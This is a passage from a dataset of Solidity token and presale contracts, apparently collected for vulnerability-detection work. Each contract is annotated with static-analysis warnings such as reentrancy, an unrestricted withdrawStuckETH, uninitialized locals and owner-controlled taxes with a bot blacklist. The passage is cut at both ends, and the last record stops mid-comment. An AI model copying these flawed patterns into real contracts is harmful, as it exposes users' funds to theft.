(tokensForTaxMem.tokensForDev > 0) {\n\t\t\t\t// reentrancy-events | ID: c3a8f9b\n\t\t\t\t// reentrancy-events | ID: 479ddb6\n\t\t\t\t// reentrancy-benign | ID: de06359\n\t\t\t\t// reentrancy-benign | ID: 4218eaf\n\t\t\t\t// reentrancy-eth | ID: bbfc1cc\n\t\t\t\t// reentrancy-eth | ID: 2561f26\n\t\t\t\t// reentrancy-eth | ID: 778e2b3\n\t\t\t\t// arbitrary-send-eth | ID: c82b8ae\n (success, ) = devAddress.call{\n value: (ethBalance * tokensForTaxMem.tokensForDev) /\n totalTokensToSwap\n }(\"\");\n }\n\n ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n\t\t\t\t// reentrancy-events | ID: c3a8f9b\n\t\t\t\t// reentrancy-events | ID: 479ddb6\n\t\t\t\t// reentrancy-benign | ID: de06359\n\t\t\t\t// reentrancy-benign | ID: 4218eaf\n\t\t\t\t// reentrancy-eth | ID: bbfc1cc\n\t\t\t\t// reentrancy-eth | ID: 2561f26\n\t\t\t\t// reentrancy-eth | ID: 778e2b3\n\t\t\t\t// arbitrary-send-eth | ID: c82b8ae\n (success, ) = marketingAddress.call{value: ethBalance}(\"\");\n }\n }\n\n tokensForTaxMem.tokensForLiquidity = 0;\n\n tokensForTaxMem.tokensForMarketing = 0;\n\n tokensForTaxMem.tokensForDev = 0;\n\n\t\t// reentrancy-eth | ID: bbfc1cc\n tokensForTax = tokensForTaxMem;\n\n\t\t// reentrancy-benign | ID: 4218eaf\n lastSwapBackBlock = block.number;\n }\n\n function setExemptFromFee(\n address _address,\n bool _isExempt\n ) external onlyOwner {\n require(_address != address(0), \"Zero Address\");\n\n require(_address != address(this), \"Cannot unexempt contract\");\n\n exemptFromFees[_address] = _isExempt;\n\n emit SetExemptFromFees(_address, _isExempt);\n }\n\n function setExemptFromLimit(\n address _address,\n bool _isExempt\n ) external onlyOwner {\n require(_address != address(0), \"Zero Address\");\n\n if (!_isExempt) {\n require(_address != lpPair, \"Cannot remove pair\");\n }\n\n exemptFromLimits[_address] = _isExempt;\n\n emit SetExemptFromLimits(_address, _isExempt);\n }\n\n function updateTransactionLimit(uint128 newNumInTokens) external onlyOwner {\n require(\n newNumInTokens >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n\n txLimits.transactionLimit = uint128(\n newNumInTokens * (10 ** decimals())\n );\n\n emit UpdatedTransactionLimit(txLimits.transactionLimit);\n }\n\n function updateWalletLimit(uint128 newNumInTokens) external onlyOwner {\n require(\n newNumInTokens >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n\n txLimits.walletLimit = uint128(newNumInTokens * (10 ** decimals()));\n\n emit UpdatedWalletLimit(txLimits.walletLimit);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a7451ec): Token.updateSwapTokensAmt(uint256) should emit an event for swapTokensAtAmt = newAmount \n\t// Recommendation for a7451ec: Emit an event for critical parameter changes.\n function updateSwapTokensAmt(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 20) / 1000,\n \"Swap amount cannot be higher than 2% total supply.\"\n );\n\n\t\t// events-maths | ID: a7451ec\n swapTokensAtAmt = newAmount;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: bb7f2b8): Token.updateBuyTax(uint64,uint64,uint64).taxes is a local variable never initialized\n\t// Recommendation for bb7f2b8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function updateBuyTax(\n uint64 _marketingTax,\n uint64 _liquidityTax,\n uint64 _devTax\n ) external onlyOwner {\n Taxes memory taxes;\n\n taxes.marketingTax = _marketingTax;\n\n taxes.liquidityTax = _liquidityTax;\n\n taxes.devTax = _devTax;\n\n taxes.totalTax = _marketingTax + _liquidityTax + _devTax;\n\n require(\n taxes.totalTax <= 3000 || taxes.totalTax <= buyTax.totalTax,\n \"Keep tax below 30%\"\n );\n\n emit UpdatedBuyTax(taxes.totalTax);\n\n buyTax = taxes;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 65e3c2f): Token.updateSellTax(uint64,uint64,uint64).taxes is a local variable never initialized\n\t// Recommendation for 65e3c2f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function updateSellTax(\n uint64 _marketingTax,\n uint64 _liquidityTax,\n uint64 _devTax\n ) external onlyOwner {\n Taxes memory taxes;\n\n taxes.marketingTax = _marketingTax;\n\n taxes.liquidityTax = _liquidityTax;\n\n taxes.devTax = _devTax;\n\n taxes.totalTax = _marketingTax + _liquidityTax + _devTax;\n\n require(\n taxes.totalTax <= 3000 || taxes.totalTax <= sellTax.totalTax,\n \"Keep tax below 30%\"\n );\n\n emit UpdatedSellTax(taxes.totalTax);\n\n sellTax = taxes;\n }\n\n function renounceDevTax() external {\n require(msg.sender == devAddress, \"Not dev\");\n\n Taxes memory buyTaxes = buyTax;\n\n buyTaxes.marketingTax += buyTaxes.devTax;\n\n buyTaxes.devTax = 0;\n\n buyTax = buyTaxes;\n\n Taxes memory sellTaxes = sellTax;\n\n sellTaxes.marketingTax += sellTaxes.devTax;\n\n sellTaxes.devTax = 0;\n\n sellTax = sellTaxes;\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingAllowed, \"Trading already enabled\");\n\n tradingAllowed = true;\n\n launchBlock = block.number;\n\n lastSwapBackBlock = block.number;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 012a027): Token.removeLimits()._txLimits is a local variable never initialized\n\t// Recommendation for 012a027: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function removeLimits() external onlyOwner {\n limited = false;\n\n TxLimits memory _txLimits;\n\n uint256 supply = totalSupply();\n\n _txLimits.transactionLimit = uint128(supply);\n\n _txLimits.walletLimit = uint128(supply);\n\n txLimits = _txLimits;\n\n emit RemovedLimits();\n }\n\n function removeTransferDelay() external onlyOwner {\n require(transferDelayEnabled, \"Already disabled!\");\n\n transferDelayEnabled = false;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 75b8ea2): Token.withdrawStuckETH() sends eth to arbitrary user Dangerous calls (success,None) = address(devAddress).call{value address(this).balance}()\n\t// Recommendation for 75b8ea2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function withdrawStuckETH() external {\n bool success;\n\n\t\t// arbitrary-send-eth | ID: 75b8ea2\n (success, ) = address(devAddress).call{value: address(this).balance}(\n \"\"\n );\n }\n\n function rescueTokens(address _token) external {\n require(_token != address(0), \"_token address cannot be 0\");\n\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\n SafeERC20.safeTransfer(\n IERC20(_token),\n address(devAddress),\n _contractBalance\n );\n }\n\n function updateMarketingAddress(address _address) external onlyOwner {\n require(_address != address(0), \"zero address\");\n\n marketingAddress = _address;\n }\n\n function updateDevAddress(address _address) external onlyOwner {\n require(_address != address(0), \"zero address\");\n\n devAddress = _address;\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10695.sol",
"size_bytes": 36712,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract OwnerWithdrawable is Ownable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function withdraw(address token, uint256 amt) public onlyOwner {\n IERC20(token).safeTransfer(msg.sender, amt);\n }\n\n function withdrawAll(address token) public onlyOwner {\n uint256 amt = IERC20(token).balanceOf(address(this));\n\n withdraw(token, amt);\n }\n\n function withdrawCurrency(uint256 amt) public onlyOwner {\n payable(msg.sender).transfer(amt);\n }\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n require(isContract(target), \"Address: call to non-contract\");\n\n\t\t// reentrancy-benign | ID: 087d946\n\t\t// reentrancy-eth | ID: 64f6c97\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n uint256 newAllowance = oldAllowance - value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n\t\t// reentrancy-benign | ID: 087d946\n\t\t// reentrancy-eth | ID: 64f6c97\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract Presale is OwnerWithdrawable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n using SafeERC20 for IERC20Metadata;\n\n uint256 public rate;\n\n\t// WARNING Optimization Issue (constable-states | ID: c055458): Presale.saleToken should be constant \n\t// Recommendation for c055458: Add the 'constant' attribute to state variables that never change.\n address public saleToken;\n\n uint public saleTokenDec;\n\n uint256 public totalTokensforSale;\n\n mapping(address => bool) public payableTokens;\n\n mapping(address => uint256) public tokenPrices;\n\n bool public saleStatus;\n\n address[] public buyers;\n\n mapping(address => BuyerDetails) public buyersDetails;\n\n uint256 public totalBuyers;\n\n uint256 public totalTokensSold;\n\n struct BuyerDetails {\n uint amount;\n bool exists;\n }\n\n struct BuyerAmount {\n uint amount;\n address buyer;\n }\n\n constructor() {\n saleStatus = false;\n }\n\n modifier saleEnabled() {\n require(saleStatus == true, \"Presale: is not enabled\");\n\n _;\n }\n\n modifier saleStoped() {\n require(saleStatus == false, \"Presale: is not stopped\");\n\n _;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d35f154): Presale.setSaleToken(uint256,uint256,uint256,bool) should emit an event for rate = _rate saleTokenDec = _decimals totalTokensforSale = _totalTokensforSale \n\t// Recommendation for d35f154: Emit an event for critical parameter changes.\n function setSaleToken(\n uint256 _decimals,\n uint256 _totalTokensforSale,\n uint256 _rate,\n bool _saleStatus\n ) external onlyOwner {\n require(_rate != 0);\n\n\t\t// events-maths | ID: d35f154\n rate = _rate;\n\n saleStatus = _saleStatus;\n\n\t\t// events-maths | ID: d35f154\n saleTokenDec = _decimals;\n\n\t\t// events-maths | ID: d35f154\n totalTokensforSale = _totalTokensforSale;\n }\n\n function stopSale() external onlyOwner saleEnabled {\n saleStatus = false;\n }\n\n function resumeSale() external onlyOwner saleStoped {\n saleStatus = true;\n }\n\n function addPayableTokens(\n address[] memory _tokens,\n uint256[] memory _prices\n ) external onlyOwner {\n require(\n _tokens.length == _prices.length,\n \"Presale: tokens & prices arrays length mismatch\"\n );\n\n for (uint256 i = 0; i < _tokens.length; i++) {\n require(_prices[i] != 0);\n\n payableTokens[_tokens[i]] = true;\n\n tokenPrices[_tokens[i]] = _prices[i];\n }\n }\n\n function payableTokenStatus(\n address _token,\n bool _status\n ) external onlyOwner {\n require(payableTokens[_token] != _status);\n\n payableTokens[_token] = _status;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2946bf1): Presale.updateTokenRate(address[],uint256[],uint256) should emit an event for rate = _rate \n\t// Recommendation for 2946bf1: Emit an event for critical parameter changes.\n function updateTokenRate(\n address[] memory _tokens,\n uint256[] memory _prices,\n uint256 _rate\n ) external onlyOwner {\n require(\n _tokens.length == _prices.length,\n \"Presale: tokens & prices arrays length mismatch\"\n );\n\n if (_rate != 0) {\n\t\t\t// events-maths | ID: 2946bf1\n rate = _rate;\n }\n\n for (uint256 i = 0; i < _tokens.length; i += 1) {\n require(payableTokens[_tokens[i]] == true);\n\n require(_prices[i] != 0);\n\n tokenPrices[_tokens[i]] = _prices[i];\n }\n }\n\n function getTokenAmount(\n address token,\n uint256 amount\n ) public view returns (uint256) {\n uint256 amtOut;\n\n if (token != address(0)) {\n require(payableTokens[token] == true, \"Presale: Token not allowed\");\n\n uint256 price = tokenPrices[token];\n\n amtOut = amount.mul(10 ** saleTokenDec).div(price);\n } else {\n amtOut = amount.mul(10 ** saleTokenDec).div(rate);\n }\n\n return amtOut;\n }\n\n function transferETH() private {\n\t\t// reentrancy-eth | ID: 64f6c97\n payable(owner()).transfer(msg.value);\n }\n\n function transferToken(address _token, uint256 _amount) private {\n\t\t// reentrancy-benign | ID: 087d946\n\t\t// reentrancy-eth | ID: 64f6c97\n IERC20(_token).safeTransferFrom(msg.sender, owner(), _amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 087d946): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 087d946: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 64f6c97): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 64f6c97: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyToken(\n address _token,\n uint256 _amount\n ) external payable saleEnabled {\n uint256 saleTokenAmt = _token != address(0)\n ? getTokenAmount(_token, _amount)\n : getTokenAmount(address(0), msg.value);\n\n require(saleTokenAmt != 0, \"Presale: Amount is 0\");\n\n require(\n (totalTokensSold + saleTokenAmt) < totalTokensforSale,\n \"Presale: Not enough tokens to be sale\"\n );\n\n if (_token != address(0)) {\n\t\t\t// reentrancy-benign | ID: 087d946\n\t\t\t// reentrancy-eth | ID: 64f6c97\n transferToken(_token, _amount);\n } else {\n\t\t\t// reentrancy-eth | ID: 64f6c97\n transferETH();\n }\n\n\t\t// reentrancy-eth | ID: 64f6c97\n totalTokensSold += saleTokenAmt;\n\n if (!buyersDetails[msg.sender].exists) {\n\t\t\t// reentrancy-benign | ID: 087d946\n buyers.push(msg.sender);\n\n\t\t\t// reentrancy-benign | ID: 087d946\n buyersDetails[msg.sender].exists = true;\n\n\t\t\t// reentrancy-benign | ID: 087d946\n totalBuyers += 1;\n }\n\n\t\t// reentrancy-benign | ID: 087d946\n buyersDetails[msg.sender].amount += saleTokenAmt;\n }\n\n function buyersAmountList(\n uint _from,\n uint _to\n ) external view returns (BuyerAmount[] memory) {\n require(_from < _to, \"Presale: _from should be less than _to\");\n\n uint to = _to > totalBuyers ? totalBuyers : _to;\n\n uint from = _from > totalBuyers ? totalBuyers : _from;\n\n BuyerAmount[] memory buyersAmt = new BuyerAmount[](to - from);\n\n for (uint i = from; i < to; i += 1) {\n buyersAmt[i].amount = buyersDetails[buyers[i]].amount;\n\n buyersAmt[i].buyer = buyers[i];\n }\n\n return buyersAmt;\n }\n}\n",
"file_name": "solidity_code_10696.sol",
"size_bytes": 18851,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract BRIAN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _totalSupply = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Brian\";\n\n string private constant _symbol = unicode\"BRIAN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 18936ce): BRIAN._maxTxAmount should be constant \n\t// Recommendation for 18936ce: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c7afa2d): BRIAN._maxWalletSize should be constant \n\t// Recommendation for c7afa2d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n bool private _isMaxWalletActive = true;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d1cb8c): BRIAN.inSwap should be constant \n\t// Recommendation for 7d1cb8c: Add the 'constant' attribute to state variables that never change.\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n IUniswapV2Router private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromMaxWallet;\n\n constructor() {\n IUniswapV2Router _uniswapRouter = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapRouter;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n\n _isExcludedFromMaxWallet[_msgSender()] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 905f94d): BRIAN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 905f94d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n _isMaxWalletActive &&\n !_isExcludedFromMaxWallet[recipient] &&\n !_isExcludedFromMaxWallet[sender]\n ) {\n require(\n _balances[recipient].add(amount) <= _maxWalletSize,\n \"Transfer exceeds the max wallet size\"\n );\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 21824df): BRIAN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 21824df: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 03e1e41): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 03e1e41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6a2ce25): 